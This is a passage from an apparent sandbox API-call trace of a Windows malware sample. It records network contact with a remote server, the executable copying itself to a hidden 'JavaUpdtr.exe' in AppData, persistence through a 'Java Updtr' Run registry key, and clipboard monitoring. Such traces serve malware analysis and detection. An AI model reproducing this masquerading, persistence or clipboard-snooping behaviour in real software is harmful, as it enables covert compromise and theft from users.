GetLastError () returned 0x0 [0050.587] FreeAddrInfoW (pAddrInfo=0x50449a0*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="睷⹷条湥瑴獥慬挮浯", ai_addr=0x50449c8*(sa_family=2, sin_port=0x0, sin_addr="46.166.182.114"), ai_next=0x0)) [0050.587] GetLastError () returned 0x0 [0050.589] WSASocketW (af=2, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x474 [0050.589] GetLastError () returned 0x0 [0050.589] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x480 [0050.589] GetLastError () returned 0x0 [0050.589] ioctlsocket (in: s=0x474, cmd=-2147195266, argp=0x26eeb4 | out: argp=0x26eeb4) returned 0 [0050.589] GetLastError () returned 0x0 [0050.589] WSASocketW (af=23, type=2, protocol=0, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x484 [0050.590] GetLastError () returned 0x0 [0050.590] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x488 [0050.590] GetLastError () returned 0x0 [0050.590] ioctlsocket (in: s=0x484, cmd=-2147195266, argp=0x26eeb4 | out: argp=0x26eeb4) returned 0 [0050.590] GetLastError () returned 0x0 [0050.590] WSAIoctl (in: s=0x474, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x26ee98, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x26ee98, lpOverlapped=0x0) returned -1 [0050.590] GetLastError () returned 0x2733 [0050.590] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x787820, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0050.590] GetLastError () returned 0x2733 [0050.590] WSAEventSelect (s=0x474, hEventObject=0x480, lNetworkEvents=512) returned 0 [0050.591] GetLastError () returned 0x0 [0050.591] WSAIoctl (in: s=0x484, dwIoControlCode=0x28000017, lpvInBuffer=0x0, cbInBuffer=0x0, lpvOutBuffer=0x0, cbOutBuffer=0x0, lpcbBytesReturned=0x26ee98, lpOverlapped=0x0, lpCompletionRoutine=0x0 | out: lpvOutBuffer=0x0, lpcbBytesReturned=0x26ee98, lpOverlapped=0x0) returned -1 [0050.591] GetLastError () returned 0x2733 [0050.591] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x2733, dwLanguageId=0x0, lpBuffer=0x787820, nSize=0x101, Arguments=0x0 | out: lpBuffer="A non-blocking socket operation could not be completed immediately.\r\n") returned 0x45 [0050.591] GetLastError () returned 0x2733 [0050.591] WSAEventSelect (s=0x484, hEventObject=0x488, lNetworkEvents=512) returned 0 [0050.591] GetLastError () returned 0x0 [0050.592] GetAdaptersAddresses () returned 0x6f [0050.597] LocalAlloc (uFlags=0x0, uBytes=0xa54) returned 0x7f4af8 [0050.597] GetLastError () returned 0x0 [0050.597] GetAdaptersAddresses () returned 0x0 [0050.605] LocalFree (hMem=0x7f4af8) returned 0x0 [0050.605] GetLastError () returned 0x0 [0050.609] WSAConnect (in: s=0x470, name=0x266399c*(sa_family=2, sin_port=0x50, sin_addr="46.166.182.114"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0050.633] GetLastError () returned 0x0 [0050.634] closesocket (s=0x46c) returned 0 [0050.634] GetLastError () returned 0x0 [0050.637] send (s=0x470, buf=0x26646b8*, len=287, flags=0) returned 287 [0050.637] GetLastError () returned 0x0 [0050.639] select (in: nfds=0, readfds=0x2665974, writefds=0x0, exceptfds=0x0, timeout=0x26eed8 | out: readfds=0x2665974, writefds=0x0, exceptfds=0x0) returned 1 [0050.673] GetLastError () returned 0x0 [0050.673] setsockopt (s=0x470, level=65535, optname=4102, optval="\xa0\x86\x01", optlen=4) returned 0 [0050.673] GetLastError () returned 0x0 [0050.674] recv (in: s=0x470, buf=0x2660b30, len=4096, flags=0 | out: buf=0x2660b30*) returned 367 [0050.674] GetLastError () returned 0x0 [0050.681] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ed5c*=0x3c0, lpdwindex=0x26eb14 | out: lpdwindex=0x26eb14) returned 0x80010115 [0050.681] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ed3c*=0x3b4, lpdwindex=0x26eaf4 | out: lpdwindex=0x26eaf4) returned 0x80010115 [0050.681] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ed3c*=0x3bc, lpdwindex=0x26eaf4 | out: lpdwindex=0x26eaf4) returned 0x80010115 [0050.682] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ed90*=0x3e0, lpdwindex=0x26eb48 | out: lpdwindex=0x26eb48) returned 0x80010115 [0050.682] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ed90*=0x3e8, lpdwindex=0x26eb48 | out: lpdwindex=0x26eb48) returned 0x80010115 [0050.682] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ed90*=0x3f0, lpdwindex=0x26eb48 | out: lpdwindex=0x26eb48) returned 0x80010115 [0050.685] shutdown (s=0x470, how=2) returned 0 [0050.685] GetLastError () returned 0x0 [0050.685] closesocket (s=0x470) returned 0 [0050.685] GetLastError () returned 0x0 [0050.686] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x470 [0050.686] GetLastError () returned 0x0 [0050.686] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x46c [0050.686] GetLastError () returned 0x0 [0050.686] getaddrinfo (in: pNodeName="survey-smiles.com", pServiceName=0x0, pHints=0x26eecc*(ai_flags=2, ai_family=0, ai_socktype=0, ai_protocol=0, ai_addrlen=0x0, ai_canonname=0x0, ai_addr=0x0, ai_next=0x0), ppResult=0x26ec60 | out: ppResult=0x26ec60*=0x5044a38*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="survey-smiles.com", ai_addr=0x5044a60*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), ai_next=0x0)) returned 0 [0050.689] GetLastError () returned 0x0 [0050.689] FreeAddrInfoW (pAddrInfo=0x5044a38*(ai_flags=0, ai_family=2, ai_socktype=0, ai_protocol=0, ai_addrlen=0x10, ai_canonname="畳癲祥猭業敬⹳潣mԄ䧈Ԅ᪆闳", ai_addr=0x5044a60*(sa_family=2, sin_port=0x0, sin_addr="127.0.0.1"), ai_next=0x0)) [0050.689] GetLastError () returned 0x0 [0050.689] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ee34*=0x480, lpdwindex=0x26ebec | out: lpdwindex=0x26ebec) returned 0x80010115 [0050.690] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ee34*=0x488, lpdwindex=0x26ebec | out: lpdwindex=0x26ebec) returned 0x80010115 [0050.690] WSAConnect (in: s=0x470, name=0x26687ec*(sa_family=2, sin_port=0x50, sin_addr="127.0.0.1"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1 [0051.713] GetLastError () returned 0x274d [0051.713] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274d, dwLanguageId=0x0, lpBuffer=0x787820, nSize=0x101, Arguments=0x0 | out: lpBuffer="No connection could be made because the target machine actively refused it.\r\n") returned 0x4d [0051.714] GetLastError () returned 0x274d [0051.789] setsockopt (s=0x470, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0051.789] GetLastError () returned 0x0 [0051.790] closesocket (s=0x470) returned 0 [0051.790] GetLastError () returned 0x0 [0051.790] setsockopt (s=0x46c, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0051.790] GetLastError () returned 0x0 [0051.790] closesocket (s=0x46c) returned 0 [0051.790] GetLastError () returned 0x0 [0051.813] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26efc4*=0x3c0, lpdwindex=0x26ed7c | out: lpdwindex=0x26ed7c) returned 0x80010115 [0051.814] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26efa4*=0x3b4, lpdwindex=0x26ed5c | out: lpdwindex=0x26ed5c) returned 0x80010115 [0051.814] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26efa4*=0x3bc, lpdwindex=0x26ed5c | out: lpdwindex=0x26ed5c) returned 0x80010115 [0051.814] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26eff8*=0x3e0, lpdwindex=0x26edb0 | out: lpdwindex=0x26edb0) returned 0x80010115 [0051.814] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26eff8*=0x3e8, lpdwindex=0x26edb0 | out: lpdwindex=0x26edb0) returned 0x80010115 [0051.815] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26eff8*=0x3f0, lpdwindex=0x26edb0 | out: lpdwindex=0x26edb0) returned 0x80010115 [0051.815] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x46c [0051.816] GetLastError () returned 0x0 [0051.816] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x470 [0051.816] GetLastError () returned 0x0 [0051.816] WSAConnect (in: s=0x46c, name=0x267cdb4*(sa_family=2, sin_port=0x50, sin_addr="46.166.182.114"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned 0 [0051.839] GetLastError () returned 0x0 [0051.839] closesocket (s=0x470) returned 0 [0051.840] GetLastError () returned 0x0 [0051.840] send (s=0x46c, buf=0x267d708*, len=263, flags=0) returned 263 [0051.840] GetLastError () returned 0x0 [0051.840] select (in: nfds=0, readfds=0x267d81c, writefds=0x0, exceptfds=0x0, timeout=0x26eec8 | out: readfds=0x267d81c, writefds=0x0, exceptfds=0x0) returned 1 [0051.876] GetLastError () returned 0x0 [0051.876] setsockopt (s=0x46c, level=65535, optname=4102, optval="\xa0\x86\x01", optlen=4) returned 0 [0051.876] GetLastError () returned 0x0 [0051.876] recv (in: s=0x46c, buf=0x267bb60, len=4096, flags=0 | out: buf=0x267bb60*) returned 367 [0051.876] GetLastError () returned 0x0 [0051.877] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ed4c*=0x3c0, lpdwindex=0x26eb04 | out: lpdwindex=0x26eb04) returned 0x80010115 [0051.877] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ed2c*=0x3b4, lpdwindex=0x26eae4 | out: lpdwindex=0x26eae4) returned 0x80010115 [0051.877] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ed2c*=0x3bc, lpdwindex=0x26eae4 | out: lpdwindex=0x26eae4) returned 0x80010115 [0051.877] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ed80*=0x3e0, lpdwindex=0x26eb38 | out: lpdwindex=0x26eb38) returned 0x80010115 [0051.878] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ed80*=0x3e8, lpdwindex=0x26eb38 | out: lpdwindex=0x26eb38) returned 0x80010115 [0051.878] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x26ed80*=0x3f0, lpdwindex=0x26eb38 | out: lpdwindex=0x26eb38) returned 0x80010115 [0051.878] shutdown (s=0x46c, how=2) returned 0 [0051.878] GetLastError () returned 0x0 [0051.878] closesocket (s=0x46c) returned 0 [0051.878] GetLastError () returned 0x0 [0051.879] WSASocketW (af=2, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x46c [0051.879] GetLastError () returned 0x0 [0051.879] WSASocketW (af=23, type=1, protocol=6, lpProtocolInfo=0x0, g=0x0, dwFlags=0x1) returned 0x470 [0051.879] GetLastError () returned 0x0 [0051.879] WSAConnect (in: s=0x46c, name=0x267f91c*(sa_family=2, sin_port=0x50, sin_addr="127.0.0.1"), namelen=16, lpCallerData=0x0, lpCalleeData=0x0, lpSQOS=0x0, lpGQOS=0x0 | out: lpCalleeData=0x0) returned -1 [0052.928] GetLastError () returned 0x274d [0052.929] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x274d, dwLanguageId=0x0, lpBuffer=0x787820, nSize=0x101, Arguments=0x0 | out: lpBuffer="No connection could be made because the target machine actively refused it.\r\n") returned 0x4d [0052.929] GetLastError () returned 0x274d [0052.934] setsockopt (s=0x46c, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0052.934] GetLastError () returned 0x0 [0052.934] closesocket (s=0x46c) returned 0 [0052.934] GetLastError () returned 0x0 [0052.934] setsockopt (s=0x470, level=65535, optname=128, optval="\x01", optlen=4) returned 0 [0052.934] GetLastError () returned 0x0 [0052.934] closesocket (s=0x470) returned 0 [0052.934] GetLastError () returned 0x0 [0052.936] GetEnvironmentVariableW (in: lpName="temp", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0052.936] GetLastError () returned 0x0 [0052.937] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5P5NRG~1\\", lpszLongPath=0x26ebf0, cchBuffer=0x104 | out: lpszLongPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned 0x1e [0052.938] GetLastError () returned 0x0 [0052.938] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\strpath.tmp", nBufferLength=0x105, lpBuffer=0x26ec18, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\strpath.tmp", lpFilePart=0x0) returned 0x3c [0052.938] GetLastError () returned 0x0 [0052.939] SetErrorMode (uMode=0x1) returned 0x0 [0052.939] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\strpath.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\strpath.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x470 [0052.939] GetLastError () returned 0x0 [0052.939] GetFileType (hFile=0x470) returned 0x1 [0052.939] GetFileType (hFile=0x470) returned 0x1 [0052.939] ReadFile (in: hFile=0x470, lpBuffer=0x2681528, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x26f180, lpOverlapped=0x0 | out: lpBuffer=0x2681528*, lpNumberOfBytesRead=0x26f180*=0x33, lpOverlapped=0x0) returned 1 [0052.940] GetLastError () returned 0x0 [0052.940] ReadFile (in: hFile=0x470, lpBuffer=0x2681528, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x26f180, lpOverlapped=0x0 | out: lpBuffer=0x2681528*, lpNumberOfBytesRead=0x26f180*=0x0, lpOverlapped=0x0) returned 1 [0052.940] GetLastError () returned 0x0 [0052.941] CloseHandle (hObject=0x470) returned 1 [0052.942] GetLastError () returned 0x0 [0052.942] GetEnvironmentVariableW (in: lpName="appdata", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0052.942] GetLastError () returned 0x0 [0052.942] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\", nBufferLength=0x105, lpBuffer=0x26ed68, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\", lpFilePart=0x0) returned 0x33 [0052.942] GetLastError () returned 0x0 [0052.942] SetErrorMode (uMode=0x1) returned 0x0 [0052.942] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java"), fInfoLevelId=0x0, lpFileInformation=0x26f1e8 | out: lpFileInformation=0x26f1e8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0052.942] GetLastError () returned 0x2 [0052.942] SetErrorMode (uMode=0x0) returned 0x1 [0052.942] GetEnvironmentVariableW (in: lpName="appdata", lpBuffer=0x787820, nSize=0x80 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0052.942] GetLastError () returned 0x2 [0052.942] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\", nBufferLength=0x105, lpBuffer=0x26ed74, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\", lpFilePart=0x0) returned 0x33 [0052.942] GetLastError () returned 0x2 [0052.943] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java"), fInfoLevelId=0x0, lpFileInformation=0x26f190 | out: lpFileInformation=0x26f190*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0052.943] GetLastError () returned 0x2 [0052.943] SetErrorMode (uMode=0x0) returned 0x1 [0052.943] SetErrorMode (uMode=0x1) returned 0x0 [0052.943] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming"), fInfoLevelId=0x0, lpFileInformation=0x26f190 | out: lpFileInformation=0x26f190*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd3ef1dd0, ftLastAccessTime.dwHighDateTime=0x1d54023, ftLastWriteTime.dwLowDateTime=0xd3ef1dd0, ftLastWriteTime.dwHighDateTime=0x1d54023, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0052.943] GetLastError () returned 0x2 [0052.943] SetErrorMode (uMode=0x0) returned 0x1 [0052.943] SetErrorMode (uMode=0x1) returned 0x0 [0052.943] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata"), fInfoLevelId=0x0, lpFileInformation=0x26f190 | out: lpFileInformation=0x26f190*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0052.943] GetLastError () returned 0x2 [0052.943] SetErrorMode (uMode=0x0) returned 0x1 [0052.943] SetErrorMode (uMode=0x1) returned 0x0 [0052.943] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz"), fInfoLevelId=0x0, lpFileInformation=0x26f190 | out: lpFileInformation=0x26f190*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1 [0052.943] GetLastError () returned 0x2 [0052.943] SetErrorMode (uMode=0x0) returned 0x1 [0052.943] SetErrorMode (uMode=0x1) returned 0x0 [0052.944] GetFileAttributesExW (in: lpFileName="C:\\Users" (normalized: "c:\\users"), fInfoLevelId=0x0, lpFileInformation=0x26f190 | out: lpFileInformation=0x26f190*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0052.944] GetLastError () returned 0x2 [0052.944] SetErrorMode (uMode=0x0) returned 0x1 [0052.945] CreateDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java"), lpSecurityAttributes=0x0) returned 1 [0052.946] GetLastError () returned 0x2 [0052.946] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe", nBufferLength=0x105, lpBuffer=0x26ed68, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe", lpFilePart=0x0) returned 0x33 [0052.946] GetLastError () returned 0x2 [0052.946] SetErrorMode (uMode=0x1) returned 0x0 [0052.946] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gmmqacgpk.exe"), fInfoLevelId=0x0, lpFileInformation=0x26f1e8 | out: lpFileInformation=0x26f1e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfb3d580, ftCreationTime.dwHighDateTime=0x1d54023, ftLastAccessTime.dwLowDateTime=0xcfb3d580, ftLastAccessTime.dwHighDateTime=0x1d54023, ftLastWriteTime.dwLowDateTime=0xccb8e500, ftLastWriteTime.dwHighDateTime=0x1d54023, nFileSizeHigh=0x0, nFileSizeLow=0xad000)) returned 1 [0052.946] GetLastError () returned 0x2 [0052.946] SetErrorMode (uMode=0x0) returned 0x1 [0052.947] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe", nBufferLength=0x105, lpBuffer=0x26ed3c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe", lpFilePart=0x0) returned 0x33 [0052.947] GetLastError () returned 0x2 [0052.947] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe", nBufferLength=0x105, lpBuffer=0x26ed3c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe", lpFilePart=0x0) returned 0x40 [0052.947] GetLastError () returned 0x2 [0052.948] CopyFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\gmmqacgpk.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\gmmqacgpk.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\java\\javaupdtr.exe"), bFailIfExists=0) returned 1 [0052.979] GetLastError () returned 0x0 [0052.979] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe", nBufferLength=0x105, lpBuffer=0x26ed78, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe", lpFilePart=0x0) returned 0x40 [0052.979] GetLastError () returned 0x0 [0052.980] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe", dwFileAttributes=0x6) returned 1 [0052.980] GetLastError () returned 0x0 [0052.980] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x2001f, phkResult=0x26f1d0 | out: phkResult=0x26f1d0*=0x46c) returned 0x0 [0052.981] RegQueryValueExW (in: hKey=0x46c, lpValueName="Java Updtr", lpReserved=0x0, lpType=0x26f1d0, lpData=0x0, lpcbData=0x26f1cc*=0x0 | out: lpType=0x26f1d0*=0x0, lpData=0x0, lpcbData=0x26f1cc*=0x0) returned 0x2 [0052.983] RegSetValueExW (in: hKey=0x46c, lpValueName="Java Updtr", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe", cbData=0x82 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Java\\JavaUpdtr.exe") returned 0x0 [0052.991] SetClipboardViewer (hWndNewViewer=0x701ba) returned 0x0 [0053.054] OleInitialize (pvReserved=0x0) returned 0x0 [0053.055] GetLastError () returned 0x0 [0053.056] OleGetClipboard (in: ppDataObj=0x26ef3c | out: ppDataObj=0x26ef3c*=0x7e8250) returned 0x0 [0053.059] IUnknown:QueryInterface (in: This=0x7e8250, riid=0x74147714*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e7e0 | out: ppvObject=0x26e7e0*=0x7e8250) returned 0x0 [0053.060] IUnknown:QueryInterface (in: This=0x7e8250, riid=0x74164204*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x26e79c | out: ppvObject=0x26e79c*=0x0) returned 0x80004002 [0053.060] IUnknown:QueryInterface (in: This=0x7e8250, riid=0x74090b9c*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x26e690 | out: ppvObject=0x26e690*=0x0) returned 0x80004002 [0053.060] IUnknown:AddRef (This=0x7e8250) returned 0x3 [0053.060] CoGetContextToken (in: pToken=0x26e628 | out: pToken=0x26e628) returned 0x0 [0053.060] CoGetContextToken (in: pToken=0x26e5ec | out: pToken=0x26e5ec) returned 0x0 [0053.060] IUnknown:QueryInterface (in: This=0x779458, riid=0x74163ff0*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e620 | out: ppvObject=0x26e620*=0x779464) returned 0x0 [0053.060] IComThreadingInfo:GetCurrentApartmentType (in: This=0x779464, pAptType=0x26e650 | out: pAptType=0x26e650*=3) returned 0x0 [0053.060] IUnknown:Release (This=0x779464) returned 0x1 [0053.060] IUnknown:QueryInterface (in: This=0x7e8250, riid=0x740423cc*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x26e610 | out: ppvObject=0x26e610*=0x0) returned 0x80004002 [0053.061] CoGetContextToken (in: pToken=0x26e620 | out: pToken=0x26e620) returned 0x0 [0053.061] IUnknown:AddRef 